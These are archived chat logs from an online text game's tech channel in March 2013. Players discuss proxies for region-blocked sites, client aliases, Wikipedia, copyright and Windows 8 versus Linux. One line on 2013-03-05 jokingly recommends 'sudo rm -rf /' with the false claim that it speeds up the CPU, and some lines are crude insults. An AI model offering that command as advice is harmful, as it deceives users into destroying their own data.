T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: so you can use some VPN located in UK to bypass this restriction
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: is the "google advanced" option "Find pages published in a particular region." also censored
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so how does google actually know where the request is coming from in the first place? it must find the originating ip/dns request right?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: right
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so a proxy takes care of being able to find the originating requestor
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: you can either query DNS records for given IP or check registrar name
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: some proxys passes original IP to server
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: google does seem to supply some caching - but when i going directly to a website suggested by google, i do not click on the google weblink offered -- i launder the weblink so google does not know i went there.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: that is feasible for main page, for subpages it is often much easier to use google link (except that part that google "notice" using it)
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ok well an anonymous proxy would fix the requestor problem. so setup a website hosted in an uncensored country that has a anonymous proxy
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: well, that require either using open proxy (there are not too many good ones) or setting up your own, which basically require you to buy / rent server
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: interesting that google mentions website pages (dated to several years prior) that are discontinued,  (happens when a webpage account expires or is censored)
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i am really waiting for abe to come on and tell me why i am wrong
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: wrong on what part?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: umm i dunno am i correct this time?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: no, you are almost totally wrong
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: I mean proxy part
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: whew
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: well abe i am sure would cover them all. how am i wrong though? besides buy/renting a server to host proxy program isn't feasible
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: imagine this scenario: I want to watch bbc (which require UK proxy) and read some russia news (let's assume it require russian proxy)
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: that scenario requires me to use 2 proxies at the same time - not hard to achieve, but it become more complicated when you need more proxys
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: k you can't just decide which address you have i see where you are going
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: using 2 different proxys with single web browser is rather complicated
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: that "censoring" happened recently - there is a scramble to find whether those webpages were mirrored elsewhere -- those webpages were mirrored, but in a tacky non-aesthetic form, flanked by lots of adverts attempting frame-redirects -- no longer a decent web-reference as a result
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Trachx Tech: nowadays you cannot trust search engines
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Chromatus Tech: yes you can, you can't put anything on the internet that isn't true.  Don't you watch TV commercials
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Chromatus Tech: thats how Al Gore made it when he created the internet :)
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: is a server to host proxy programs likely to run afoul of the recent laws in the USA overprotecting copyright
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: are TV commercials protected by copyright - with all those adverts on all those webpages, attempting to copy webpages from those websites may be a copyright violation ? - ironic in that the websurfer researcher does not want those adverts
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Moonburst Tech: hey umm i need help changing something...
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: they have pills for that
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Moonburst Tech: tech wise
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Moonburst Tech: i am on an Android tablet and when i type look ( player name) it shows their desc
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nuanse Tech: as it should
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Moonburst Tech: but i want to look at someone like.... Moonburst looks at you..... how do i find out what the command is and how do i change it?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nuanse Tech: it does exactly that
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nuanse Tech: everyone else sees it as moonburst looks at weakling
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nuanse Tech: this is not tech question, but newbie
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Moonburst Tech: they wern't much help either....
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nuanse Tech: help shelp is thing you need to read
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nuanse Tech: it explains it all
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: i think he's complaining that he sees a players description when he looks at them, amirite?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nuanse Tech: probably
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nuanse Tech: still newbie chan question
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Scars Tech: ffs, it's not like there's anything else going on here
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: I am trying to change my alias for portals from bag A to bag B, is there anyway I can do a find a replace searching through all my alias?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Hanslanda Tech: ctrl-H works
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: ctrl-H from?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Hanslanda Tech: the keyboard.  How else are you editing your alias?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}The River Styx Tech: virtual reality
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: ctrl-H brings up the command history.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: my portals are all in a bag. 
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nuanse Tech: yes
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nuanse Tech: change your alias that works with your container
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nuanse Tech: if your alias is get %1 30012291;wear %1;enter;wear helditem;put %1 30012291.....you just change that 30012291
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nuanse Tech: number can be anything, and even alias
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: the problem is i have a whole lot and the slow and painful way is to open them up one by one and changing
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nuanse Tech: so you did it wrong way?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: how about if there's anyway to open up all my alias in a text format?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nuanse Tech: yep
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: which file would i be looking for?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nuanse Tech: actually no :/
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: which client do you use?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Ophelion Tech: in mush?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: mush
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: or are you tzlking bout aard's in game alias command?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Ophelion Tech: in the alias window, click "save" to export your aliases
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: my bad, mush's aliases
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Ophelion Tech: open that file in notepad
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nuanse Tech: he has them as portals in aardmush portals command I think
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: I think I got the ans from Ophelion. but thank you guys
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nuanse Tech: best way to do it next time is to split the commands. one does the portal changing, one is the portal command itself. as pcanyon as portal command for mushportal does alias trans 1002023 where trans is get 1002023 mybag
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nuanse Tech: then you dont have to change every one of them, just the bag. etc
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: yeah I would change the container id to be a variable. then it would be so much easier. just that i started doing the aliases long time ago and there were all hardcoded
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Nuanse Tech: might want to change it now before we have ALOT of more those portals in way or another :)
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: sounds like a good plan cheers
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: So it turns out that the ff I was talking about before in MUSH logs was part of a three-byte string, 0xFF 0xFA 0xC9, that comes at the head of a GMCP line...
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Getsuko Tech: does anyone know why S&D will sometimes search for the mob before running to an area?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Hanslanda Tech: huh, TED thinks mobile devices are devolutionizing the internet
T3/r7/2013-03-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: TED is not a person who can think
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger laffs.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Tech: Exactly.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Tech: that's like "youtube thinks xxx"
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Legendary Gruagach Tech: TED thinks 30 year old people should share a hotel room together for a week and not get paid for the their talks
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Jhav Tech: Youtube thinks your mother is a whore, and probably your sister too.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Watson thinks :P (well, you know kinda)
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: not sure that "devolutionizing" is a word yet
T3/r7/2013-03-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: youtube thinks your mother is your sister
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: You mispelled the internet Jhav
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Ranrr Tech: Maybe 30 year old people can afford their own hotel room if they get to market their idea for free?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Legendary Gruagach Tech: if you are a ted fellow they wont let you pay for your own hotel room, its part of the experince
T3/r7/2013-03-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: is that like a dapper fellow?
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Hanslanda Tech: TED = Technology Emasculates Dudes
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: doubt if there is a danger that the proliferation and popularity of mobile devices shall convince manufacturesr to cease and desist from manufacturing personal computers (due to the lack of sufficient profit motive) 
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Hanslanda Tech: the issue is that users are changing how they regard the internet.  Something like Wikipedia might die off in favor of ecommerce or netflix.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: As long as there's schools telling kids not to use it, wikipedia will never die :P
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Jhav Tech: Doubtful.  Do you have any idea how much use Wikipedia gets? :P
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: how does ecommerce kill wikipedia
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Jhav Tech: ESPECIALLY from mobile folks looking up random facts on the spot.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Let me look that up on Wikipedia...
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Google Now uses wikipedia on anything you voice search, so yeah
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Hanslanda Tech: mobile users are appearing less likely to contribute.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: It is harder to edit on a mobile device, to be fair.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Good. i dnt wnt 2 rd this knd of stuffs on wikipdia
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Hanslanda Tech: also, teachers are using wikipedia just as much as the students are.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger crosses his arms and nods slowly and sagely.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah lol
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: They still (at least around here) push against the use of it for research papers and whatnot
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Hanslanda Tech: oh, to be sure.  Teachers still use it despite such admonishments to their charges.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Usually the first 2-3 entries on google, of course they do :P
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: Wikipedia comes without those annoying adverts -- attempt to google and find an informative non-Wikipedia website without umpteen adverts attempting to burn mobile bandwidth
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: where are research papers going to get their references if everything informative goes digital. avoids paper, and charges money to access that information
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: There are reputable online research databases.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: university access accounts
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger nods at The Jerk Fiendish.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I never had a hard time reading papers when I was actually in school
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Engaged Garl Tech: Better get out of school before that happens;)
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: The hardest part was regurgitating what you found to make it sound more like something you would write :P
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto rapidly nods twice at Big Meaty Cheezburger, in complete agreement.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: so the likelihood is that non-university schoolkids and the common peasant are unable to access those "university access accounts"
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Sonshi Tech: sometimes if you want to look for a paper, just searching for the title and author will yield a few sites where you can get it. Often including the author's.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Jhav Tech: You can pay for access yourself, if you want to.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: doesn't matter because you'll never get a paper accepted in a reputable publication if you aren't affiliated with a university
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: You should probably start with the author's paper.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Uhhh site.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Jhav Tech: I think have been a few from industry.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Jhav Tech: Definitely much, much more common from academia though.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: school children and the common peasant are not going to pay for access
T3/r7/2013-03-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: common pisant
T3/r7/2013-03-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: pissant
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Sonshi Tech: that's not always true... if it's a major advance it won't matter if you lack affiliation anywhere, it just needs to be well-written, and dump it on a blog or arxiv or someting.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: school children don't need access to journals
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: don't be disrespectful to the common peasant (seeking knowledge, or at least attempting to seek knowledge)
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Sonshi Tech: in fact, in math you could just make a few smart comments on terence tao's blog and then place a link there and eventually someone will read it and it'll find its way into a major publication if it merits it...
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Sonshi Tech: or something
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: next Fiendish shall be saying that poor schoolchildren don't require acces to a decent education, merely access to a trickle-down pissant education
T3/r7/2013-03-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: nor food or water
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: the trouble with blogs, is all those adverts that interfere with the appreciation of the "blog"
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Sonshi Tech: generally a schoolkid bright enough to benefit from reading an academic journal is going to be able to find access somewhere. Unless the country really sucks.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Sonshi Tech: I don't see adverts
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Tech: Sonshi looks around and whistles innocently.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: excessive copyright-protection may be the downfall of the human-race (several required things won't get invented due to restricted information access)
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Mushambo Tech: chan...and you mean patent...copyright doesn't cover "inventions"
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: alhough excessive patent-protection is bad, excessive copyright protection is likely also worse 
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: excessive copyright-protectiuon restricts information access (so that things do not get invented -- cannot patent something that was not invented due to lack of information access)
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: so no, i did not mean "patent" 
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Jhav Tech: If you exercise your invention but don't patent it, others are free to copy your work.  If you develop something but don't share the idea, it doesn't matter whether you exercise your implicit copyright or not. :P
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Jhav Tech: Remember, copyright never covers the ideas, only the expression.
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: excessive patents (which do not add new knowledge but only use old knowledge in an *obvious* new direction) are also bad, as they provide a disincentive to publish new inventions since frivolous patents block profits that were to be accrued from genuine new-value patents
T3/r7/2013-03-04.txt.gz:{chan ch=tech}Zade Tech: software patents are extremely bad
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: in mush, can we put an alias in more than 2 groups?
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scurvy Tech: no
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scurvy Tech: you could make a second alias that just calls the first one
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: thanks
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scurvy Tech: using.. Execute("otheralias")
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's spoofed
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: mis
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Alviryn Tech: anyone on that can help with Mag?
T3/r7/2013-03-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: whats a good email program, use to use thunderbird dont know if thats still good to use or not
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Trachx Tech: outlook or thunderbir
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Trachx Tech: I mean Microsoft Outlook, not Outlook Express
T3/r7/2013-03-05.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: hm, is there any consider all miniwin plugin for mush?
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Ophelion Tech: check gammon's forums, it will need to be edited a little
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: i want to make an alias that abbreviates mapper find to mf, but i suck at coming up with syntaxes, and it wasn't as straight forward as i thought it would be 
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: i tried just making mf, without regular expression, be the alias, and use execute
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: and have the execute be mapper find %1
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: alias: send (mf *) Alias: mapper find %1 send to: execute.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: but that did not work
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: You're sure you have it sending to execute?
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: and not world
T3/r7/2013-03-05.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: just mf would match only "mf", nothing before, nothing after
T3/r7/2013-03-05.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: you need the * for parameters, like cheez said
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: gotcha, that was the issue
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Varas Tech: Does anyone know what's up with windows 8? It keeps shutting down
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Varas Tech: Bluescreening and terminating
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: BSOD usually isn't the software...
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: BSOD usually isn't the software...
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: sounds like it's functioning the way microsoft intended it to
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: sorry
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Tech: Varas enthusiastically high-fives Scars!
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: i don't buy MSFT OS's until the first SP
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Tech: Scars points excitedly at Big Meaty Cheezburger!
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: samsies
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Ylar Tech: I'm hoping that with SP1 they'll fix the biggest flaw in Windows 8.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: you mean lack of start button?
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: you know they're digging the bottom of the barrel when the new OS is modeled off their stellar phone OS line...
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Mobile is the way of the technology future, to be fair
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Ylar Tech: Some glitch other made it through to RTM; the "Start Screen" isn't optional :(
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Ranrr Tech: You mean the missing package manager, missing security or the lack of multi user?
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: They'll eventually bring it back, but I doubt you'll see it in the first service pack
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Ylar Tech: Oh! And not being able to turn UAC completely off.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Lowest might as well be off :P
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Varas Tech: tech is it just me, or are they ripping off apple?
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Ylar Tech: "might as well" isn't quite, I'm afraid.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Just asks for confirmation for downloaded programs, that's fine by me
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Varas Tech: I mean, it looks like they're trying to mimic a lot of how OS-X works
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Ylar Tech: Sometimes, I would rather everything was forced to run with highest permissions.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Ylar Tech: rather than if I'm doing something that didn't ask (or i forget to ask), it doesn't.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Varas: Nah. They just went the touch-screen route with is limited in how things can interact
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Tech: Varas nods.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Ranrr Tech: Ylar, if you want to customize your os, windows is probably not for you.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: linux ftw
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Tech: Ylar snickers softly.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Ylar Tech: I don't run Windows 8.  Win7 Ultimate, here.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Speaking of which. I ported Ubuntu Touch over to my GS3 (SCH-I535) ... it rules.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Ylar Tech: and I sideboard Mint Linux for when I feel like going that route.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}WildWolfie Tech: Win 7 Ultimate stays awesome ;)
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: i use win7
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Ranrr Tech: I just couldn't use an SOS where I can't do e.g. apt-get install gcc
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Ylar Tech: but since a lot of what I do ends up being gaming....well...you know.  *nix isn't all the way there, yet.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Ranrr Tech: Interesting typo there.... :D
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Ylar Tech: heh
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: linux requires too much savvy for me to spend time on
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: It's not as bad as it seems, truly
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: windows, after sp1, is always easier to deal with
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: cd (change directory) mv (move) cp (copy) .. (up one dir) / (root dir or subdir)
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Riddim Tech: Eh, Linux is ez-pz now if you don't have non-basic hardware
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: With those 4 commands you can do almost anything you want (almost, notice i said that)
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: if it were *just* me using the computer, perhaps i would go down that route... but since my wife isn't going to entertain learning a new OS or whatever
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: dual boot mah friend
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: and aside from being able to say that i use linux... why would i bother?
T3/r7/2013-03-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: download linux, and make it look like windows, and say they came out with a new update
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Riddim Tech: or just rollback to windows7/vista
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Tech: Riddim nods at Scars.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Tech: WildWolfie enthusiastically high-fives Big Meaty Cheezburger!
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Ubuntu, for example, allows you to install inside of Doze for a dynamic allocation of the hdd
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: that's great... and for someone who's full use of their computer ends with internet browsing...
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: feels like a giant waste
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger snickers softly.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Ranrr Tech: Well, if all you do is browse, you can use any OS. And Linux is free.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Cant' teach an old dog new tricks, eh scars? :P
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Chrome OS is nice for browsing
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: money is hardly the issue
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: time is the issue
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Ranrr Tech: It is also virus free.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Tech: WildWolfie . o O ( Anybody using the torch browser? )
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I'm actually pretty excited to see the Google Pixel. touchscreen Chrome OS lappy
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: i haven't dealt with a virus in a solid 5 years or more
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Riddim Tech: So is windoww if you don't try to watch 2hotlesbians.mpg.exe
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Tech: Riddim winks suggestively.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: those are the best pornos though!
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: i'm not dogging linux... not in the least... for people who use it, they seem to love it
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: i just have no time or use for it
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Tech: Riddim tosses HelperMan Hadar up in the air, he loves it!
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: my favorite thing to do on a *nix machine is to do --> sudo rm -rf /
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Speeds up your CPU by 250% :P
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: 8srun
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger fails to hit the shift key and 8giggles at everyone.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Ranrr Tech: I don't have time to use windows, but hey, if it works for you, then no need to change.
